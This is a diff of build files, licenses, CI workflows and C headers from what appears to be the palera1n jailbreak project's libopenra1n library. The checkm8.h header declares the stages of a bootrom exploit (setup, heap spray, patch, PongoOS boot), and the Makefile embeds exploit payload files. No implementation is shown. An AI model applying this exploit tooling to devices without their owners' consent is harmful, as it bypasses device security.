BRANCH: Alpine
|
||||
run: |
|
||||
git clone https://$USERNAME:[email protected]/$GH_REPO.git tag
|
||||
cd tag
|
||||
|
||||
git config --global user.name "$USERNAME"
|
||||
git config --global user.email "[email protected]"
|
||||
|
||||
git commit --allow-empty -m "bump to ${{ env.TAG }}"
|
||||
git push https://$USERNAME:[email protected]/$GH_REPO.git "$BRANCH"
|
||||
|
||||
git tag "${{ env.TAG }}"
|
||||
git push https://$USERNAME:[email protected]/$GH_REPO.git "${{ env.TAG }}"
|
||||
@@ -0,0 +1,33 @@
|
||||
name: "Upload install script"
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
paths:
|
||||
- ".github/workflows/script.yml"
|
||||
- "install.sh"
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Move
|
||||
run: |
|
||||
mkdir -p dist
|
||||
cp install.sh dist/
|
||||
|
||||
- name: Upload artifact
|
||||
uses: wangyucode/sftp-upload-action@v3
|
||||
with:
|
||||
host: ${{ secrets.NICKCHAN_FTP_HOST }}
|
||||
port: ${{ secrets.NICKCHAN_FTP_PORT }}
|
||||
username: palera1n
|
||||
password: ${{ secrets.NICKCHAN_FTP_PASS }}
|
||||
forceUpload: true
|
||||
dryRun: false
|
||||
localDir: 'dist/'
|
||||
remoteDir: '/www/static.palera.in/scripts'
|
||||
@@ -1,29 +0,0 @@
|
||||
name: Update Submodules
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: 0 0 * * *
|
||||
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
sync:
|
||||
name: Update Submodules
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
submodules: true
|
||||
|
||||
- name: Update submodules
|
||||
run: |
|
||||
cd ramdisk
|
||||
git pull origin main
|
||||
cd ..
|
||||
|
||||
- name: Commit changes
|
||||
uses: stefanzweifel/git-auto-commit-action@v4
|
||||
with:
|
||||
commit_message: Update submodules
|
||||
+21
-21
@@ -1,22 +1,22 @@
|
||||
build/
|
||||
dist/
|
||||
.DS_Store
|
||||
*/.DS_Store
|
||||
binaries/Linux/gaster
|
||||
binaries/Darwin/gaster
|
||||
work
|
||||
rdwork
|
||||
boot*
|
||||
!bootlogo.im4p
|
||||
.irecovery
|
||||
BuildManifest.plist
|
||||
blobs
|
||||
tweaksinstalled
|
||||
logs
|
||||
dump.raw
|
||||
other/rootfs/jbin/loader.app
|
||||
other/rootfs/jbin/jb*
|
||||
other/rootfs/jbin/launchd
|
||||
.rd_in_progress
|
||||
logs
|
||||
.disclaimeragree
|
||||
.fs-*
|
||||
other/rootfs/jbin/binpack
|
||||
|
||||
gen/
|
||||
docs/*.html
|
||||
embedded/Pongo.bin
|
||||
embedded/checkra1n-kpf-pongo
|
||||
embedded/ramdisk.dmg
|
||||
embedded/binpack.dmg
|
||||
embedded/DFUHelperDeviceInfo-minified.json
|
||||
|
||||
apple-include-*
|
||||
*-unknown-*
|
||||
libusbK/
|
||||
libusbK-tmp/
|
||||
|
||||
*.7z
|
||||
*.tgz
|
||||
*.tar.gz
|
||||
*.lzma
|
||||
*-cross
|
||||
+3
-3
@@ -1,3 +1,3 @@
|
||||
[submodule "ramdisk"]
|
||||
path = ramdisk
|
||||
url = https://github.com/palera1n/ramdisk
|
||||
[submodule "1stparty/libciderra1n"]
|
||||
path = 1stparty/libciderra1n
|
||||
url = https://github.com/kok3shidoll/libciderra1n.git
|
||||
Vendored
+6
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"cmake.loadCompileCommands": true,
|
||||
"cmake.configureOnOpen": true,
|
||||
"cmake.buildDirectory": "${workspaceFolder}/build",
|
||||
"cmake.copyCompileCommands": "${workspaceFolder}/build/compile_commands.json",
|
||||
}
|
||||
Submodule
+1
Submodule 1stparty/libciderra1n added at e393d2f77d.
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,65 @@
|
||||
RM ?= rm
|
||||
MKDIR ?= mkdir
|
||||
CP ?= cp
|
||||
CC ?= cc
|
||||
AR ?= ar
|
||||
ARFLAGS ?= rcs
|
||||
XXD ?= xxd
|
||||
SED ?= sed
|
||||
|
||||
BUILD := build
|
||||
SRC := src
|
||||
INCLUDE := include
|
||||
|
||||
OBJDIR = $(SRC)/build
|
||||
LIBDIR := $(BUILD)/lib
|
||||
INCDIR := $(BUILD)/include
|
||||
|
||||
NAME := openra1n
|
||||
LIBNAME := lib$(NAME).a
|
||||
|
||||
CFLAGS += -I$(INCLUDE) -I$(SRC) -I$(SRC)/gen
|
||||
|
||||
SRCS := $(shell find $(SRC) -name '*.c')
|
||||
OBJS := $(patsubst $(SRC)/%.c,$(OBJDIR)/%.o,$(SRCS))
|
||||
|
||||
.PHONY: all payloads library headers clean
|
||||
|
||||
all: payloads library headers
|
||||
|
||||
payloads:
|
||||
$(MKDIR) -p $(INCLUDE)/gen/payloads
|
||||
|
||||
@for file in payloads/*; do \
|
||||
name=$$(basename "$$file"); \
|
||||
name=$${name%.*}; \
|
||||
echo " XXD $$file"; \
|
||||
echo "#pragma once" > "$(INCLUDE)/gen/payloads/$$name.h"; \
|
||||
$(XXD) -i "$$file" \
|
||||
| $(SED) 's/unsigned char/static const unsigned char/g' \
|
||||
| $(SED) 's/unsigned int/static const size_t/g' \
|
||||
>> "$(INCLUDE)/gen/payloads/$$name.h"; \
|
||||
done
|
||||
|
||||
$(OBJDIR)/%.o: $(SRC)/%.c
|
||||
@$(MKDIR) -p $(dir $@)
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
library: $(OBJS)
|
||||
$(MKDIR) -p $(LIBDIR)/${NAME}
|
||||
$(AR) $(ARFLAGS) $(LIBDIR)/${NAME}/$(LIBNAME) $(OBJS)
|
||||
|
||||
headers:
|
||||
$(MKDIR) -p $(INCDIR)/${NAME}
|
||||
$(CP) $(INCLUDE)/checkm8.h \
|
||||
$(INCLUDE)/shim.h \
|
||||
$(INCLUDE)/usb_iokit.h \
|
||||
$(INCLUDE)/usb_libusb.h \
|
||||
$(INCLUDE)/dfu.h \
|
||||
$(INCLUDE)/payload.h \
|
||||
$(INCLUDE)/utils.h \
|
||||
$(INCDIR)/${NAME}/
|
||||
|
||||
clean:
|
||||
$(RM) -rf $(BUILD)
|
||||
$(RM) -rf $(SRC)/$(BUILD)
|
||||
@@ -0,0 +1,19 @@
|
||||
Gaster
|
||||
Copyright (c) 2023 0x7ff
|
||||
|
||||
Openra1n
|
||||
Copyright (c) 2024 Mineek.
|
||||
|
||||
Gaster was modified by Mineek to include support for booting PongoOS
|
||||
payloads, by sending the device into download mode with extracted
|
||||
stage2 payloads from Checkra1n.
|
||||
|
||||
libOpenra1n
|
||||
Copyright (c) 2026 palera1n team
|
||||
|
||||
Openra1n was modified into a importable library for use in palera1n,
|
||||
(libOpenra1n) along side another checkm8 backend (closed source).
|
||||
|
||||
Many changes included are mainly for overall better practices and
|
||||
readability, like better error handling. Other changes include
|
||||
more verbose logging, fixes for libusb/iokit, and a ROP generator.
|
||||
@@ -0,0 +1,7 @@
|
||||
# openra1n
|
||||
custom pongoOS booter for checkra1n 1337
|
||||
|
||||
## Attributions
|
||||
- [gaster](https://github.com/0x7ff/gaster) - base of the project
|
||||
- [checkra1n](https://checkra.in/) - yeah, do i really need to explain this one?
|
||||
- [ra1npoc15](https://github.com/kok3shidoll/ra1npoc) - payloads
|
||||
@@ -0,0 +1,63 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef LIBOPENRA1N__CHECKM8_H
|
||||
#define LIBOPENRA1N__CHECKM8_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "payload.h"
|
||||
#include "shim.h"
|
||||
|
||||
#define EP0_MAX_PACKET_SZ (0x40)
|
||||
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
|
||||
|
||||
#ifndef MIN
|
||||
# define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
CHECKM8_ERR_NONE = 0,
|
||||
CHECKM8_ERR_UNSUPPORTED = 1,
|
||||
CHECKM8_ERR_TRANSFER_FAILED = 3,
|
||||
CHECKM8_ERR_TIMEOUT = 4,
|
||||
CHECKM8_ERR_ABORT = 5,
|
||||
CHECKM8_ERR_INVALID_PAYLOAD = 15,
|
||||
|
||||
CHECKM8_ERR_UNDEFINED = 255,
|
||||
} checkm8_err_t;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
char *get_usb_serial_number(usb_handle_t *handle);
|
||||
checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle);
|
||||
checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||
checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||
checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
|
||||
bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len);
|
||||
checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // LIBOPENRA1N__CHECKM8_H
|
||||
@@ -0,0 +1,56 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef LIBOPENRA1N__DFU_H
|
||||
#define LIBOPENRA1N__DFU_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define DFU_DNLOAD 1
|
||||
#define DFU_UPLOAD 2
|
||||
#define DFU_GET_STATUS 3
|
||||
#define DFU_CLR_STATUS 4
|
||||
#define DFU_GETSTATE 5
|
||||
#define DFU_ABORT 6
|
||||
|
||||
#define DFU_FILE_SUFFIX_LEN 16
|
||||
#define EP0_MAX_PACKET_SIZE 0x40
|
||||
#define DFU_MAX_TRANSFER_SZ 0x800
|
||||
#define DFU_STATUS_OK 0
|
||||
#define DFU_STATE_MANIFEST_SYNC 6
|
||||
#define DFU_STATE_MANIFEST 7
|
||||
#define DFU_STATE_MANIFEST_WAIT_RESET 8
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
uint16_t dfu_serial_number_get_cpid(char *serial);
|
||||
bool dfu_serial_number_is_in_dfu_mode(char *serial);
|
||||
bool dfu_serial_number_is_pwned(char *serial);
|
||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
|
||||
bool device_serial_number_is_in_pongo_os(char *serial);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // LIBOPENRA1N__DFU_H
|
||||
@@ -0,0 +1,860 @@
|
||||
/*
|
||||
* LZ4 - Fast LZ compression algorithm
|
||||
* Header File
|
||||
* Copyright (C) 2011-2020, Yann Collet.
|
||||
|
||||
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
You can contact the author at :
|
||||
- LZ4 homepage : http://www.lz4.org
|
||||
- LZ4 source repository : https://github.com/lz4/lz4
|
||||
*/
|
||||
#if defined (__cplusplus)
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef LZ4_H_2983827168210
|
||||
#define LZ4_H_2983827168210
|
||||
|
||||
/* --- Dependency --- */
|
||||
#include <stddef.h> /* size_t */
|
||||
|
||||
|
||||
/**
|
||||
Introduction
|
||||
|
||||
LZ4 is lossless compression algorithm, providing compression speed >500 MB/s per core,
|
||||
scalable with multi-cores CPU. It features an extremely fast decoder, with speed in
|
||||
multiple GB/s per core, typically reaching RAM speed limits on multi-core systems.
|
||||
|
||||
The LZ4 compression library provides in-memory compression and decompression functions.
|
||||
It gives full buffer control to user.
|
||||
Compression can be done in:
|
||||
- a single step (described as Simple Functions)
|
||||
- a single step, reusing a context (described in Advanced Functions)
|
||||
- unbounded multiple steps (described as Streaming compression)
|
||||
|
||||
lz4.h generates and decodes LZ4-compressed blocks (doc/lz4_Block_format.md).
|
||||
Decompressing such a compressed block requires additional metadata.
|
||||
Exact metadata depends on exact decompression function.
|
||||
For the typical case of LZ4_decompress_safe(),
|
||||
metadata includes block's compressed size, and maximum bound of decompressed size.
|
||||
Each application is free to encode and pass such metadata in whichever way it wants.
|
||||
|
||||
lz4.h only handle blocks, it can not generate Frames.
|
||||
|
||||
Blocks are different from Frames (doc/lz4_Frame_format.md).
|
||||
Frames bundle both blocks and metadata in a specified manner.
|
||||
Embedding metadata is required for compressed data to be self-contained and portable.
|
||||
Frame format is delivered through a companion API, declared in lz4frame.h.
|
||||
The `lz4` CLI can only manage frames.
|
||||
*/
|
||||
|
||||
/*^***************************************************************
|
||||
* Export parameters
|
||||
*****************************************************************/
|
||||
/*
|
||||
* LZ4_DLL_EXPORT :
|
||||
* Enable exporting of functions when building a Windows DLL
|
||||
* LZ4LIB_VISIBILITY :
|
||||
* Control library symbols visibility.
|
||||
*/
|
||||
#ifndef LZ4LIB_VISIBILITY
|
||||
# if defined(__GNUC__) && (__GNUC__ >= 4)
|
||||
# define LZ4LIB_VISIBILITY __attribute__ ((visibility ("default")))
|
||||
# else
|
||||
# define LZ4LIB_VISIBILITY
|
||||
# endif
|
||||
#endif
|
||||
#if defined(LZ4_DLL_EXPORT) && (LZ4_DLL_EXPORT==1)
|
||||
# define LZ4LIB_API __declspec(dllexport) LZ4LIB_VISIBILITY
|
||||
#elif defined(LZ4_DLL_IMPORT) && (LZ4_DLL_IMPORT==1)
|
||||
# define LZ4LIB_API __declspec(dllimport) LZ4LIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/
|
||||
#else
|
||||
# define LZ4LIB_API LZ4LIB_VISIBILITY
|
||||
#endif
|
||||
|
||||
/*! LZ4_FREESTANDING :
|
||||
* When this macro is set to 1, it enables "freestanding mode" that is
|
||||
* suitable for typical freestanding environment which doesn't support
|
||||
* standard C library.
|
||||
*
|
||||
* - LZ4_FREESTANDING is a compile-time switch.
|
||||
* - It requires the following macros to be defined:
|
||||
* LZ4_memcpy, LZ4_memmove, LZ4_memset.
|
||||
* - It only enables LZ4/HC functions which don't use heap.
|
||||
* All LZ4F_* functions are not supported.
|
||||
* - See tests/freestanding.c to check its basic setup.
|
||||
*/
|
||||
#if defined(LZ4_FREESTANDING) && (LZ4_FREESTANDING == 1)
|
||||
# define LZ4_HEAPMODE 0
|
||||
# define LZ4HC_HEAPMODE 0
|
||||
# define LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION 1
|
||||
# if !defined(LZ4_memcpy)
|
||||
# error "LZ4_FREESTANDING requires macro 'LZ4_memcpy'."
|
||||
# endif
|
||||
# if !defined(LZ4_memset)
|
||||
# error "LZ4_FREESTANDING requires macro 'LZ4_memset'."
|
||||
# endif
|
||||
# if !defined(LZ4_memmove)
|
||||
# error "LZ4_FREESTANDING requires macro 'LZ4_memmove'."
|
||||
# endif
|
||||
#elif ! defined(LZ4_FREESTANDING)
|
||||
# define LZ4_FREESTANDING 0
|
||||
#endif
|
||||
|
||||
|
||||
/*------ Version ------*/
|
||||
#define LZ4_VERSION_MAJOR 1 /* for breaking interface changes */
|
||||
#define LZ4_VERSION_MINOR 9 /* for new (non-breaking) interface capabilities */
|
||||
#define LZ4_VERSION_RELEASE 4 /* for tweaks, bug-fixes, or development */
|
||||
|
||||
#define LZ4_VERSION_NUMBER (LZ4_VERSION_MAJOR *100*100 + LZ4_VERSION_MINOR *100 + LZ4_VERSION_RELEASE)
|
||||
|
||||
#define LZ4_LIB_VERSION LZ4_VERSION_MAJOR.LZ4_VERSION_MINOR.LZ4_VERSION_RELEASE
|
||||
#define LZ4_QUOTE(str) #str
|
||||
#define LZ4_EXPAND_AND_QUOTE(str) LZ4_QUOTE(str)
|
||||
#define LZ4_VERSION_STRING LZ4_EXPAND_AND_QUOTE(LZ4_LIB_VERSION) /* requires v1.7.3+ */
|
||||
|
||||
LZ4LIB_API int LZ4_versionNumber (void); /**< library version number; useful to check dll version; requires v1.3.0+ */
|
||||
LZ4LIB_API const char* LZ4_versionString (void); /**< library version string; useful to check dll version; requires v1.7.5+ */
|
||||
|
||||
|
||||
/*-************************************
|
||||
* Tuning parameter
|
||||
**************************************/
|
||||
#define LZ4_MEMORY_USAGE_MIN 10
|
||||
#define LZ4_MEMORY_USAGE_DEFAULT 14
|
||||
#define LZ4_MEMORY_USAGE_MAX 20
|
||||
|
||||
/*!
|
||||
* LZ4_MEMORY_USAGE :
|
||||
* Memory usage formula : N->2^N Bytes (examples : 10 -> 1KB; 12 -> 4KB ; 16 -> 64KB; 20 -> 1MB; )
|
||||
* Increasing memory usage improves compression ratio, at the cost of speed.
|
||||
* Reduced memory usage may improve speed at the cost of ratio, thanks to better cache locality.
|
||||
* Default value is 14, for 16KB, which nicely fits into Intel x86 L1 cache
|
||||
*/
|
||||
#ifndef LZ4_MEMORY_USAGE
|
||||
# define LZ4_MEMORY_USAGE LZ4_MEMORY_USAGE_DEFAULT
|
||||
#endif
|
||||
|
||||
#if (LZ4_MEMORY_USAGE < LZ4_MEMORY_USAGE_MIN)
|
||||
# error "LZ4_MEMORY_USAGE is too small !"
|
||||
#endif
|
||||
|
||||
#if (LZ4_MEMORY_USAGE > LZ4_MEMORY_USAGE_MAX)
|
||||
# error "LZ4_MEMORY_USAGE is too large !"
|
||||
#endif
|
||||
|
||||
/*-************************************
|
||||
* Simple Functions
|
||||
**************************************/
|
||||
/*! LZ4_compress_default() :
|
||||
* Compresses 'srcSize' bytes from buffer 'src'
|
||||
* into already allocated 'dst' buffer of size 'dstCapacity'.
|
||||
* Compression is guaranteed to succeed if 'dstCapacity' >= LZ4_compressBound(srcSize).
|
||||
* It also runs faster, so it's a recommended setting.
|
||||
* If the function cannot compress 'src' into a more limited 'dst' budget,
|
||||
